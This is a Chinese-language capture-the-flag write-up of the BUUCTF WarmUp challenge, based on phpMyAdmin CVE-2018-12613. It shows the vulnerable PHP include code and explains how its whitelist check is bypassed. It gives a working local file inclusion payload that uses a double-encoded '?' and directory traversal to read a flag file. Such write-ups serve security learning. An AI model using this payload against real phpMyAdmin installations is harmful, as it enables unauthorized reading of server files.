BUUCTF WarmUp CVE-2018-12613
source.php
<?php
highlight_file(__FILE__);
class emmm //waf
{
public static function checkFile(&$page)
//<?php $a =& $b ?> 这意味着 $a 和 $b 指向了同一个变量。 注: $a 和 $b 在这里是完全相同的,这并不是 $a 指向了 $b 或者相反,而是 $a 和 $b 指向了同一个地方。
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {//in_array() 函数搜索数组中是否存在指定的值。从后查找前。
return true;
}
$_page = mb_substr(//echo mb_substr("菜鸟教程", 0, 2); 输出:菜鸟
$page,
0,
mb_strpos($page . '?', '?')//查找字符串在另一个字符串中首次出现的位置
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])//PHP $_REQUEST 用于收集HTML表单提交的数据。$_REQUEST 变量包含了 $_GET, $_POST 以及 $_COOKIE 的内容
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])//可以不用实例化对象直接使用emmm::checkFile($_REQUEST['file'])获得checkFile($_REQUEST['file'])的值
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
这里参考文章分析一波.
漏洞原理
一个攻击者可以在服务器上包含(查看和潜在执行)文件的漏洞被发现。该漏洞来自一部分代码,其中页面在phpMyAdmin中被重定向和加载,以及对白名单页面进行不正确的测试。攻击者必须经过身份验证,但在这些情况下除外:
cfg ['ServerDefault'] = 0:这会绕过登录并在没有任何身份验证的情况下运行易受攻击的代码。如果有多台已配置的服务器,你可以配置cfg['ServerDefault'] 必须配置为那台服务器。
漏洞形成的原因
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
if区间一共有4个判断:
1、是否存在file参数
2、file参数是否为字符串
3、emmm类的checkFile方法判断
如果通过判断则包含参数所指定的文件
首先找到Core类的checkFile函数:
class emmm //waf
{
public static function checkFile(&$page)
//<?php $a =& $b ?> 这意味着 $a 和 $b 指向了同一个变量。 注: $a 和 $b 在这里是完全相同的,这并不是 $a 指向了 $b 或者相反,而是 $a 和 $b 指向了同一个地方。
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {//in_array() 函数搜索数组中是否存在指定的值。从后查找前。
return true;
}
$_page = mb_substr(//echo mb_substr("菜鸟教程", 0, 2); 输出:菜鸟
$page,
0,
mb_strpos($page . '?', '?')//查找字符串在另一个字符串中首次出现的位置
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
checkPageValidity函数里又是4个判断:
1、如果page不为字符串则return false
2、whitelist中的某个值则返回true
3、whitelist中的某个值则返回true
4、经过urldecode函数解码后的whitelist中的某个值则返回true
我们来逐行分析:
$whitelist定义了两个可以被包含的文件名
if (in_array($page, $whitelist)) {//in_array() 函数搜索数组中是否存在指定的值。从后查找前。
return true;
}
第二个if直接跳过我们来看第三个if区间,如果whilelist的某个值则return真。
phpmyadmin的开发团队考虑的很全面,想到了会存在file的值后面再跟参数的情况,于是有了第三个判断:
$_page = mb_substr(//echo mb_substr("菜鸟教程", 0, 2); 输出:菜鸟
$page,
0,
mb_strpos($page . '?', '?')//查找字符串在另一个字符串中首次出现的位置
);
if (in_array($_page, $whitelist)) {
return true;
}
whilelist某个数组中。
这个判断的作用是,如果file值带有参数的情况下,phpmyadmin也能正确的包含文件。
也正是因为phpmyadmin团队考虑的太全面了,才会出现此漏洞......
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
后面又将$page参数用urlencode解码再进行以?分割取出前面的值做判断。
我们构造payload:
file=source.php?/../../../../../../ffffllllaaaagggg,目录穿越,当然还要把?进行两次url编码,所以最后的payload为file=source.php%253f/../../../../../../ffffllllaaaagggg,首先,第一次验证肯定过不了,第二次截取完也过不了,第三次,经过url解码之后,我们构造的payload就变成了source.php?/../../../../../../ffffllllaaaagggg,很显然,它是截取?前面的进行校验,我们这的source.php在白名单中,所以返回true,最后通过目录穿越的到ffffllllaaaagggg里面的内容,也就是flag。
参考:
https://blog.csdn.net/qq_42967398/article/details/91127332
https://blog.csdn.net/qq_37433000/article/details/91126718